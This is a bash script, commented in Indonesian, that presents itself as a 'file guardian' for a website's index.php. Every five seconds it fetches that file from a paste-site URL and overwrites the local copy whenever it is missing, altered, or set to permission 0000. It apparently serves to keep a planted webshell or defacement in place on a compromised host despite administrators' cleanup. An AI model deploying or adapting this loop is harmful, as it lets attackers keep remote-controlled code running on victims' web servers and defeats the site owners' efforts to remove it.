#!/bin/bash

# === Konfigurasi ===
ROOT_DIR="/home/u1574315/public_html/biancainstitute.com/"

# Daftar file yang mau dijaga + URL backupnya
declare -A FILES
FILES["$ROOT_DIR/index.php"]="https://raw.zeverix.com/raw/untitled-689"

POLL_INTERVAL=5  # detik

# === Fungsi log ===
log_event() {
    local message="$1"
    logger -t file-guardian "$message"
    echo "$(date '+%Y-%m-%d %H:%M:%S') - $message"
}

# === Fungsi restore file ===
restore_file() {
    local target="$1"
    local url="$2"
    local folder
    folder=$(dirname "$target")

    # Buat folder jika hilang
    if [ ! -d "$folder" ]; then
        mkdir -p "$folder"
        log_event "Folder $folder hilang! Dibuat ulang."
    fi

    # Download ke file sementara dulu
    local tmpfile
    tmpfile=$(mktemp)

    log_event "Restore $target dari $url ..."
    if curl -fsSL "$url" -o "$tmpfile"; then
        mv "$tmpfile" "$target"
        chmod 644 "$target"
        log_event "$target berhasil direstore."
    else
        log_event "Gagal restore $target dari $url."
        rm -f "$tmpfile"
    fi
}

# === Fungsi cek file ===
check_file() {
    local target="$1"
    local url="$2"

    # Jika file hilang → restore
    if [ ! -f "$target" ]; then
        log_event "$target hilang!"
        restore_file "$target" "$url"
        return
    fi

    # Jika permission 0000 → restore
    perms=$(stat -c "%a" "$target" 2>/dev/null)
    if [ "$perms" = "0000" ]; then
        log_event "Permission $target = 0000, restore ulang."
        restore_file "$target" "$url"
        return
    fi

    # Cek hash file dengan versi backup
    local tmpfile
    tmpfile=$(mktemp)
    if curl -fsSL "$url" -o "$tmpfile"; then
        local hash_local hash_remote
        hash_local=$(md5sum "$target" | awk '{print $1}')
        hash_remote=$(md5sum "$tmpfile" | awk '{print $1}')
        if [ "$hash_local" != "$hash_remote" ]; then
            log_event "$target terdeteksi diubah! Restore ulang."
            mv "$tmpfile" "$target"
            chmod 644 "$target"
            log_event "$target berhasil direstore."
            return
        fi
    fi
    rm -f "$tmpfile"
}

# === Main Loop ===
log_event "File guardian dimulai. Monitoring ${!FILES[@]} setiap $POLL_INTERVAL detik."

while true; do
    for file in "${!FILES[@]}"; do
        check_file "$file" "${FILES[$file]}"
    done
    sleep "$POLL_INTERVAL"
done